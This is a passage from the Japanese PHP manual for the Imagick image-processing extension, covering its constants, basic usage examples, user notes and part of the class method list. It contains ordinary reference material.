ピクセルキャッシュメモリに配置できる画像の最大サイズ (幅 * 高さ) を設定する
imagick::RESOURCETYPE_DISK (int)
ピクセルキャッシュに使えるディスクスペースの最大値 (バイト) を設定する
imagick::RESOURCETYPE_FILE (int)
オープンするピクセルキャッシュファイルの最大数を設定する
imagick::RESOURCETYPE_MAP (int)
ピクセルキャッシュ用に確保するメモリマップの最大量 (バイト) を設定する
imagick::RESOURCETYPE_MEMORY (int)
ヒープからピクセルキャッシュに割り当てるメモリの最大値 (バイト) を設定する
imagick::RESOURCETYPE_THREAD (int)
並行スレッドの最大数を設定する。 この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.7.8 以降で利用可能。
LAYERMETHOD 定数

imagick::LAYERMETHOD_UNDEFINED (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.2.9 以降。
imagick::LAYERMETHOD_COALESCE (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.2.9 以降。
imagick::LAYERMETHOD_COMPAREANY (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.2.9 以降。
imagick::LAYERMETHOD_COMPARECLEAR (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.2.9 以降。
imagick::LAYERMETHOD_COMPAREOVERLAY (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.2.9 以降。
imagick::LAYERMETHOD_DISPOSE (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.2.9 以降。
imagick::LAYERMETHOD_OPTIMIZE (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.2.9 以降。
imagick::LAYERMETHOD_OPTIMIZEPLUS (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.2.9 以降。
imagick::LAYERMETHOD_OPTIMIZEIMAGE (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.0 以降。
imagick::LAYERMETHOD_OPTIMIZETRANS (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.0 以降。
imagick::LAYERMETHOD_REMOVEDUPS (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.0 以降。
imagick::LAYERMETHOD_REMOVEZERO (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.0 以降。
imagick::LAYERMETHOD_COMPOSITE (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.0 以降。
imagick::LAYERMETHOD_MERGE (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.7 以降。
imagick::LAYERMETHOD_FLATTEN (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.7 以降。
imagick::LAYERMETHOD_MOSAIC (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.7 以降。
ORIENTATION 定数

imagick::ORIENTATION_UNDEFINED (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.0 以降。
imagick::ORIENTATION_TOPLEFT (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.0 以降。
imagick::ORIENTATION_TOPRIGHT (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.0 以降。
imagick::ORIENTATION_BOTTOMRIGHT (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.0 以降。
imagick::ORIENTATION_BOTTOMLEFT (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.0 以降。
imagick::ORIENTATION_LEFTTOP (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.0 以降。
imagick::ORIENTATION_RIGHTTOP (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.0 以降。
imagick::ORIENTATION_RIGHTBOTTOM (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.0 以降。
imagick::ORIENTATION_LEFTBOTTOM (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.0 以降。
DISTORTION 定数

imagick::DISTORTION_UNDEFINED (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.6 以降。
imagick::DISTORTION_AFFINE (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.6 以降。
imagick::DISTORTION_AFFINEPROJECTION (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.6 以降。
imagick::DISTORTION_ARC (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.6 以降。
imagick::DISTORTION_BILINEAR (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.6 以降。
imagick::DISTORTION_PERSPECTIVE (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.6 以降。
imagick::DISTORTION_PERSPECTIVEPROJECTION (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.6 以降。
imagick::DISTORTION_SCALEROTATETRANSLATE (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.6 以降。
imagick::DISTORTION_POLYNOMIAL (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.6 以降。
imagick::DISTORTION_POLAR (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.6 以降。
imagick::DISTORTION_DEPOLAR (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.6 以降。
imagick::DISTORTION_BARREL (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.6 以降。
imagick::DISTORTION_BARRELINVERSE (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.6 以降。
imagick::DISTORTION_SHEPARDS (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.6 以降。
imagick::DISTORTION_SENTINEL (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.6 以降。
ALPHACHANNEL 定数

imagick::ALPHACHANNEL_ACTIVATE (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.8 以降。
imagick::ALPHACHANNEL_DEACTIVATE (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.8 以降。
imagick::ALPHACHANNEL_RESET (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.8 以降。
imagick::ALPHACHANNEL_SET (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.8 以降。
imagick::ALPHACHANNEL_UNDEFINED (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.6 以降。
imagick::ALPHACHANNEL_COPY (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.6 以降。
imagick::ALPHACHANNEL_EXTRACT (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.6 以降。
imagick::ALPHACHANNEL_OPAQUE (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.6 以降。
imagick::ALPHACHANNEL_SHAPE (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.6 以降。
imagick::ALPHACHANNEL_TRANSPARENT (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.6 以降。
SPARSECOLORMETHOD 定数

imagick::SPARSECOLORMETHOD_UNDEFINED (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.6 以降。
imagick::SPARSECOLORMETHOD_BARYCENTRIC (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.6 以降。
imagick::SPARSECOLORMETHOD_BILINEAR (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.6 以降。
imagick::SPARSECOLORMETHOD_POLYNOMIAL (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.6 以降。
imagick::SPARSECOLORMETHOD_SPEPARDS (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.6 以降。
imagick::SPARSECOLORMETHOD_VORONOI (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.6 以降。
FUNCTION 定数

imagick::FUNCTION_UNDEFINED (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.9 以降。
imagick::FUNCTION_POLYNOMIAL (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.9 以降。
imagick::FUNCTION_SINUSOID (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.9 以降。
INTERPOLATE 定数

imagick::INTERPOLATE_UNDEFINED (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.2 以降。
imagick::INTERPOLATE_AVERAGE (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.2 以降。
imagick::INTERPOLATE_BICUBIC (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.2 以降。
imagick::INTERPOLATE_BILINEAR (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.2 以降。
imagick::INTERPOLATE_FILTER (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.2 以降。
imagick::INTERPOLATE_INTEGER (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.2 以降。
imagick::INTERPOLATE_MESH (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.2 以降。
imagick::INTERPOLATE_NEARESTNEIGHBOR (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.2 以降。
imagick::INTERPOLATE_SPLINE (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.4 以降。
DITHERMETHOD 定数

imagick::DITHERMETHOD_UNDEFINED (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.6 以降。
imagick::DITHERMETHOD_NO (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.6 以降。
imagick::DITHERMETHOD_RIEMERSMA (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.6 以降。
imagick::DITHERMETHOD_FLOYDSTEINBERG (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.6 以降。

User Contributed Notes

ferenczi dot krisztian at gmail dot com 18-May-2018 12:38
The `COLOR_OPACITY` doesn't exist if you are using ImageMagick lib 7 or newer version!

Here is the c source code:

#if MagickLibVersion < 0x700
    IMAGICK_REGISTER_CONST_LONG("COLOR_OPACITY", PHP_IMAGICK_COLOR_OPACITY);
#endif

There isn't any information about it anywhere (or I didn't find it)! So, if you want to use it, use the 6 version of lib! You can see the current installed version of lib with this command:

$ identify -version
guy dot paddock at redbottledesign dot com 28-Jun-2017 02:46
I believe the description for imagick::COMPOSITE_MINUS is incorrect. It states:

"Subtracts the source from the target"

But according to ImageMagick's documentation:

"The original method name 'Minus' is a synonym for 'Minus_Dst' meaning 'minus the destination'"

And defines "Minus_Dst" as:
"Src - Dest"

So the description of "imagick::COMPOSITE_MINUS" should be "Subtracts the target from the source"


基本的な使用法

Imagick は、PHP による画像の操作を、 とても簡単なオブジェクト指向インターフェイスで行います。 画像のサムネイルを作成する簡単な例をごらんください。

例1 Imagick によるサムネイルの作成

<?php

header('Content-type: image/jpeg');

$image = new Imagick('image.jpg');

// 幅あるいは高さに 0 を指定すると、
// 元の画像のアスペクト比を維持します
$image->thumbnailImage(100, 0);

echo $image;

?>

SPL および Imagick がサポートするその他のオブジェクト指向機能を使用すると、 ディレクトリ内のすべてのファイルのサイズを変更するのも簡単です (デジタルカメラで撮影した巨大な画像ファイル群をウェブ用に変換するような バッチ処理で有用です)。この例では、リサイズ機能を使用しています。 これは、画像のメタデータを残しておきたいからです。

例2 ディレクトリ内のすべての JPG ファイルのサムネイルの作成

<?php

$images = new Imagick(glob('images/*.JPG'));

foreach($images as $image) {

    // 0 を指定することで、thumbnailImage にアスペクト比を維持させています
    $image->thumbnailImage(1024,0);

}

$images->writeImages();

?>

これは、鏡像を作成する例です。 鏡像を作成するには、まず画像を反転させてその上に階調を重ねます。 そして、もとの画像と反転画像をキャンバスの上で合成します。

例3 画像の鏡像の作成

<?php
/* 画像を読み込みます */
$im = new Imagick("test.png");

/* 画像のサムネイルを作成します */
$im->thumbnailImage(200, null);

/* 画像の枠線を作成します */
$im->borderImage(new ImagickPixel("white"), 5, 5);

/* 画像をコピーし、反転させます */
$reflection = $im->clone();
$reflection->flipImage();

/* 階調を作成します。これを後で鏡像にかぶせます */
$gradient = new Imagick();

/* 階調は、画像と枠線をあわせたものより大きくなければなりません */
$gradient->newPseudoImage($reflection->getImageWidth() + 10, $reflection->getImageHeight() + 10, "gradient:transparent-black");

/* 階調を合成します */
$reflection->compositeImage($gradient, imagick::COMPOSITE_OVER, 0, 0);

/* 不透明度を設定します。ImageMagick 6.2.9 以降が必要です */
$reflection->setImageOpacity( 0.3 );

/* 空のキャンバスを作成します */
$canvas = new Imagick();

/* キャンバスは、どちらの画像よりも大きくなければなりません */
$width = $im->getImageWidth() + 40;
$height = ($im->getImageHeight() * 2) + 30;
$canvas->newImage($width, $height, new ImagickPixel("black"));
$canvas->setImageFormat("png");

/* もとの画像と鏡像をキャンバスに合成します */
$canvas->compositeImage($im, imagick::COMPOSITE_OVER, 20, 10);
$canvas->compositeImage($reflection, imagick::COMPOSITE_OVER, 20, $im->getImageHeight() + 10);

/* 画像を出力します */
header("Content-Type: image/png");
echo $canvas;
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : 鏡像の作成

この例では、描画時に塗りつぶしパターンを使用する方法を説明します。

例4 グラデーションつきテキスト

<?php

/* 新しい imagick オブジェクトを作成します */
$im = new Imagick();

/* 新しい画像を作成して、これを塗りつぶしパターンとして使用します */
$im->newPseudoImage(50, 50, "gradient:red-black");

/* imagickdraw オブジェクトを作成します */
$draw = new ImagickDraw();

/* "gradient" という新しいパターンを開始します */
$draw->pushPattern('gradient', 0, 0, 50, 50);

/* パターン上のグラデーションを合成します */
$draw->composite(Imagick::COMPOSITE_OVER, 0, 0, 50, 50, $im);

/* パターンを閉じます */
$draw->popPattern();

/* "gradient" を塗りつぶしパターンとして指定します */
$draw->setFillPatternURL('#gradient');

/* フォントサイズを 52 に設定します */
$draw->setFontSize(52);

/* テキストを追加します */
$draw->annotation(20, 50, "Hello World!");

/* 新しいキャンバスオブジェクトと白い画像をを作成します */
$canvas = new Imagick();
$canvas->newImage(350, 70, "white");

/* ImagickDraw をキャンバス上に描画します */
$canvas->drawImage($draw);

/* 幅 1px の黒い枠線で画像の周りを囲みます */
$canvas->borderImage('black', 1, 1);

/* フォーマットを PNG に設定します */
$canvas->setImageFormat('png');

/* 画像を出力します */
header("Content-Type: image/png");
echo $canvas;
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : グラデーションつきテキスト

アニメーション GIF 画像を操作します。

例5 GIF 画像の読み込みと全フレームのサイズ変更

<?php

/* 新しい imagick オブジェクトを作成して GIF を読み込みます */
$im = new Imagick("example.gif");

/* 全フレームのサイズを変更します */
foreach ($im as $frame) {
    /* 50x50 のフレーム */
    $frame->thumbnailImage(50, 50);

    /* 仮想キャンバスを正しい大きさに設定します */
    $frame->setImagePage(50, 50, 0, 0);
}

/* writeImage ではなく writeImages を使うことに注意しましょう */
$im->writeImages("example_small.gif", true);
?>

楕円形を使ったりカスタムフォントを使ったりします。

例6 PHP ロゴの作成

<?php
/* 幅と高さを、本物の PHP ロゴにあわせて設定します */
$width = 400;
$height = 210;

/* Imagick オブジェクトを透過キャンバスで作ります */
$img = new Imagick();
$img->newImage($width, $height, new ImagickPixel('transparent'));

/* 楕円の描画用に、新しい ImagickDraw のインスタンスを作ります */
$draw = new ImagickDraw();
/* 楕円の塗りつぶし色を紫にします */
$draw->setFillColor('#777bb4');
/* 楕円の大きさを設定します */
$draw->ellipse($width / 2, $height / 2, $width / 2, $height / 2, 0, 360);
/* 楕円をキャンバス上に描画します */
$img->drawImage($draw);

/* 楕円の塗りつぶし色をリセットして黒に戻し、テキストの描画に備えます (ImagickDraw オブジェクトを再利用していることに注目) */
$draw->setFillColor('black');
/* 縁取りの色を白に設定します */
$draw->setStrokeColor('white');
/* 線の太さを設定します */
$draw->setStrokeWidth(2);
/* フォントのカーニングを設定します (負の値は、文字と文字の間隔を狭くすることを意味します) */
$draw->setTextKerning(-8);
/* PHP ロゴで使うフォントとそのサイズを設定します */
$draw->setFont('Handel Gothic.ttf');
$draw->setFontSize(150);
/* テキストを縦横ともに中央寄せにします */
$draw->setGravity(Imagick::GRAVITY_CENTER);

/* "php" という文字を、キャンバス内の Y オフセット -10 の位置 (楕円の中) に描画します */
$img->annotateImage($draw, 0, -10, 0, 'php');
$img->setImageFormat('png');

/* PNG のヘッダーを設定して、画像を出力します */
header('Content-Type: image/png');
echo $img;
?>

上の例の出力は、 たとえば以下のようになります。

出力例: Imagick で作った PHP ロゴ

User Contributed Notes

vokseli 06-Aug-2014 07:24
Be careful when loading multiple images by passing an array to a new Imagick object. This is from Example #2:

<?php

$images = new Imagick(glob('images/*.JPG'));

?>

If you have lots of images inside the images folder, PHP will consume a lot of memory, ergo it is not recommended. I personally think it's a better idea to loop each image separately:

<?php

$image_files = glob('images/*.JPG');

foreach ($image_files as $image_file) {
    $image = new Imagick($image_file);
    // Do something for the image and so on...
}

?>

This way only a single image is fitted into the memory at a time.
inoshadi at gmail dot com 11-Dec-2013 07:53
on Example #3 Creating a reflection of an image
----------------------------------------------------
/* Clone the image and flip it */
$reflection = $im->clone();
$reflection->flipImage();
----------------------------------------------------
it was using the Imagick::clone function

This function has been DEPRECATED as of imagick 3.1.0 in favour of using the clone keyword.

use below code instead:
----------------------------------------------------
/* Clone the image and flip it */
$reflection = clone $im;
$reflection->flipImage();
----------------------------------------------------

http://php.net/manual/en/imagick.clone.php


Imagick クラス

(PECL imagick 2, PECL imagick 3)

クラス概要

Imagick implements Iterator {
public adaptiveBlurImage ( float $radius , float $sigma , int $channel = Imagick::CHANNEL_DEFAULT ) : bool
public adaptiveResizeImage ( int $columns , int $rows , bool $bestfit = false , bool $legacy = false ) : bool
public adaptiveSharpenImage ( float $radius , float $sigma , int $channel = Imagick::CHANNEL_DEFAULT ) : bool
public adaptiveThresholdImage ( int $width , int $height , int $offset ) : bool
public addImage ( Imagick $source ) : bool
public addNoiseImage ( int $noise_type , int $channel = Imagick::CHANNEL_DEFAULT ) : bool
public affineTransformImage ( ImagickDraw $matrix ) : bool
public animateImages ( string $x_server ) : bool
public annotateImage ( ImagickDraw $draw_settings , float $x , float $y , float $angle , string $text ) : bool
public appendImages ( bool $stack ) : Imagick
public autoLevelImage ( int $channel = Imagick::CHANNEL_DEFAULT ) : bool
public averageImages ( ) : Imagick
public blackThresholdImage ( mixed $threshold ) : bool
public blueShiftImage ( float $factor = 1.5 ) : bool
public blurImage ( float $radius , float $sigma , int $channel = ? ) : bool
public borderImage ( mixed $bordercolor , int $width , int $height ) : bool
public brightnessContrastImage ( float $brightness , float $contrast , int $channel = Imagick::CHANNEL_DEFAULT ) : bool
public charcoalImage ( float $radius , float $sigma ) : bool
public chopImage ( int $width , int $height , int $x , int $y ) : bool
public clampImage ( int $channel = Imagick::CHANNEL_DEFAULT ) : bool
public clear ( ) : bool
public clipImage ( ) : bool
public clipImagePath ( string $pathname , string $inside ) : void
public clipPathImage ( string $pathname , bool $inside ) : bool
public clone ( ) : Imagick
public clutImage ( Imagick $lookup_table , int $channel = Imagick::CHANNEL_DEFAULT ) : bool
public coalesceImages ( ) : Imagick
public colorFloodfillImage ( mixed $fill , float $fuzz , mixed $bordercolor , int $x , int $y ) : bool
public colorizeImage ( mixed $colorize , mixed $opacity , bool $legacy = false ) : bool
public colorMatrixImage ( array $color_matrix = Imagick::CHANNEL_DEFAULT ) : bool
public combineImages ( int $channelType ) : Imagick
public commentImage ( string $comment ) : bool
public compareImageChannels ( Imagick $image , int $channelType , int $metricType ) : array
public compareImageLayers ( int $method ) : Imagick
public compareImages ( Imagick $compare , int $metric ) : array
public compositeImage ( Imagick $composite_object , int $composite , int $x , int $y , int $channel = Imagick::CHANNEL_DEFAULT ) : bool
public __construct ( mixed $files = ? )
public contrastImage ( bool $sharpen ) : bool
public contrastStretchImage ( float $black_point , float $white_point , int $channel = Imagick::CHANNEL_DEFAULT ) : bool
public convolveImage ( array $kernel , int $channel = Imagick::CHANNEL_DEFAULT ) : bool
public count ( int $mode = 0 ) : int
public cropImage ( int $width , int $height , int $x , int $y ) : bool
public cropThumbnailImage ( int $width , int $height , bool $legacy = false ) : bool
public current ( ) : Imagick
public cycleColormapImage ( int $displace ) : bool
public decipherImage ( string $passphrase ) : bool
public deconstructImages ( ) : Imagick
public deleteImageArtifact ( string $artifact ) : bool
public deleteImageProperty ( string $name ) : bool
public deskewImage ( float $threshold ) : bool
public despeckleImage ( ) : bool
public destroy ( ) : bool
public displayImage ( string $servername ) : bool
public displayImages ( string $servername ) : bool
public distortImage ( int $method , array $arguments , bool $bestfit ) : bool
public drawImage ( ImagickDraw $draw ) : bool
public edgeImage ( float $radius ) : bool
public embossImage ( float $radius , float $sigma ) : bool
public encipherImage ( string $passphrase ) : bool
public enhanceImage ( ) : bool
public equalizeImage ( ) : bool
public evaluateImage ( int $op , float $constant , int $channel = Imagick::CHANNEL_DEFAULT ) : bool
public exportImagePixels ( int $x , int $y , int $width , int $height , string $map , int $STORAGE ) : array
public extentImage ( int $width , int $height , int $x , int $y ) : bool
public filter ( ImagickKernel $ImagickKernel , int $channel = Imagick::CHANNEL_UNDEFINED ) : bool
public flattenImages ( ) : Imagick
public flipImage ( ) : bool
public floodFillPaintImage ( mixed $fill , float $fuzz , mixed $target , int $x , int $y , bool $invert , int $channel = Imagick::CHANNEL_DEFAULT ) : bool
public flopImage ( ) : bool
public forwardFourierTransformimage ( bool $magnitude ) : bool
public frameImage ( mixed $matte_color , int $width , int $height , int $inner_bevel , int $outer_bevel ) : bool
public functionImage ( int $function , array $arguments , int $channel = Imagick::CHANNEL_DEFAULT ) : bool
public fxImage ( string $expression , int $channel = Imagick::CHANNEL_DEFAULT ) : Imagick
public gammaImage ( float $gamma , int $channel = Imagick::CHANNEL_DEFAULT ) : bool
public gaussianBlurImage ( float $radius , float $sigma , int $channel = Imagick::CHANNEL_DEFAULT ) : bool
public getColorspace ( ) : int
public getCompression ( ) : int
public getCompressionQuality ( ) : int
public static getCopyright ( ) : string
public getFilename ( ) : string
public getFont ( ) : string
public getFormat ( ) : string
public getGravity ( ) : int
public static getHomeURL ( ) : string
public getImage ( ) : Imagick
public getImageAlphaChannel ( ) : int
public getImageArtifact ( string $artifact ) : string
public getImageAttribute ( string $key ) : string
public getImageBackgroundColor ( ) : ImagickPixel
public getImageBlob ( ) : string
public getImageBluePrimary ( ) : array
public getImageBorderColor ( ) : ImagickPixel
public getImageChannelDepth ( int $channel ) : int
public getImageChannelDistortion ( Imagick $reference , int $channel , int $metric ) : float
public getImageChannelDistortions ( Imagick $reference , int $metric , int $channel = Imagick::CHANNEL_DEFAULT ) : float
public getImageChannelExtrema ( int $channel ) : array
public getImageChannelKurtosis ( int $channel = Imagick::CHANNEL_DEFAULT ) : array
public getImageChannelMean ( int $channel ) : array
public getImageChannelRange ( int $channel ) : array
public getImageChannelStatistics ( ) : array
public getImageClipMask ( ) : Imagick
public getImageColormapColor ( int $index ) : ImagickPixel
public getImageColors ( ) : int
public getImageColorspace ( ) : int
public getImageCompose ( ) : int
public getImageCompression ( ) : int
public getImageCompressionQuality ( ) : int
public getImageDelay ( ) : int
public getImageDepth ( ) : int
public getImageDispose ( ) : int
public getImageDistortion ( MagickWand $reference , int $metric ) : float
public getImageExtrema ( ) : array
public getImageFilename ( ) : string
public getImageFormat ( ) : string
public getImageGamma ( ) : float
public getImageGeometry ( ) : array
public getImageGravity ( ) : int
public getImageGreenPrimary ( ) : array
public getImageHeight ( ) : int
public getImageHistogram ( ) : array
public getImageIndex ( ) : int
public getImageInterlaceScheme ( ) : int
public getImageInterpolateMethod ( ) : int
public getImageIterations ( ) : int
public getImageLength ( ) : int
public getImageMatte ( ) : bool
public getImageMatteColor ( ) : ImagickPixel
public getImageMimeType ( ) : string
public getImageOrientation ( ) : int
public getImagePage ( ) : array
public getImagePixelColor ( int $x , int $y ) : ImagickPixel
public getImageProfile ( string $name ) : string
public getImageProfiles ( string $pattern = "*" , bool $include_values = true ) : array
public getImageProperties ( string $pattern = "*" , bool $include_values = true ) : array
public getImageProperty ( string $name ) : string
public getImageRedPrimary ( ) : array
public getImageRegion ( int $width , int $height , int $x , int $y ) : Imagick
public getImageRenderingIntent ( ) : int
public getImageResolution ( ) : array
public getImagesBlob ( ) : string
public getImageScene ( ) : int
public getImageSignature ( ) : string
public getImageSize ( ) : int
public getImageTicksPerSecond ( ) : int
public getImageTotalInkDensity ( ) : float
public getImageType ( ) : int
public getImageUnits ( ) : int
public getImageVirtualPixelMethod ( ) : int
public getImageWhitePoint ( ) : array
public getImageWidth ( ) : int
public getInterlaceScheme ( ) : int
public getIteratorIndex ( ) : int
public getNumberImages ( ) : int
public getOption ( string $key ) : string
public static getPackageName ( ) : string
public getPage ( ) : array
public getPixelIterator ( ) : ImagickPixelIterator
public getPixelRegionIterator ( int $x , int $y , int $columns , int $rows ) : ImagickPixelIterator
public getPointSize ( ) : float
public static getQuantum ( ) : int
public static getQuantumDepth ( ) : array
public static getQuantumRange ( ) : array
public static getRegistry ( string $key ) : string
public static getReleaseDate ( ) : string
public static getResource ( int $type ) : int
public static getResourceLimit ( int $type ) : int
public getSamplingFactors ( ) : array
public getSize ( ) : array
public getSizeOffset ( ) : int
public static getVersion ( ) : array
public haldClutImage ( Imagick $clut , int $channel = Imagick::CHANNEL_DEFAULT ) : bool
public hasNextImage ( ) : bool
public hasPreviousImage ( ) : bool
public identifyFormat ( string $embedText ) : string|false
public identifyImage ( bool $appendRawOutput = false ) : array
public implodeImage ( float $radius ) : bool
public importImagePixels ( int $x , int $y , int $width , int $height , string $map , int $storage , array $pixels ) : bool
public inverseFourierTransformImage ( Imagick $complement , bool $magnitude ) : bool
public labelImage ( string $label ) : bool
public levelImage ( float $blackPoint , float $gamma , float $whitePoint , int $channel = Imagick::CHANNEL_DEFAULT ) : bool
public linearStretchImage ( float $blackPoint , float $whitePoint ) : bool
public liquidRescaleImage ( int $width , int $height , float $delta_x , float $rigidity ) : bool
public static listRegistry ( ) : array
public magnifyImage ( ) : bool
public mapImage ( Imagick $map , bool $dither ) : bool
public matteFloodfillImage ( float $alpha , float $fuzz , mixed $bordercolor , int $x , int $y ) : bool
public medianFilterImage ( float $radius ) : bool
public mergeImageLayers ( int $layer_method ) : Imagick
public minifyImage ( ) : bool
public modulateImage ( float $brightness , float $saturation , float $hue ) : bool
public montageImage ( ImagickDraw $draw , string $tile_geometry , string $thumbnail_geometry , int $mode , string $frame ) : Imagick
public morphImages ( int $number_frames ) : Imagick
public morphology ( int $morphologyMethod , int $iterations , ImagickKernel $ImagickKernel , int $channel = Imagick::CHANNEL_DEFAULT ) : bool
public mosaicImages ( ) : Imagick
public motionBlurImage ( float $radius , float $sigma , float $angle , int $channel = Imagick::CHANNEL_DEFAULT ) : bool
public negateImage ( bool $gray , int $channel = Imagick::CHANNEL_DEFAULT ) : bool
public newImage ( int $cols , int $rows , mixed $background , string $format = ? ) : bool
public newPseudoImage ( int $columns , int $rows , string $pseudoString ) : bool
public nextImage ( ) : bool
public normalizeImage ( int $channel = Imagick::CHANNEL_DEFAULT ) : bool
public oilPaintImage ( float $radius ) : bool
public opaquePaintImage ( mixed $target , mixed $fill , float $fuzz , bool $invert , int $channel = Imagick::CHANNEL_DEFAULT ) : bool
public optimizeImageLayers ( ) : bool
public orderedPosterizeImage ( string $threshold_map , int $channel = Imagick::CHANNEL_DEFAULT ) : bool
public paintFloodfillImage ( mixed $fill , float $fuzz , mixed $bordercolor , int $x , int $y , int $channel = Imagick::CHANNEL_DEFAULT ) : bool
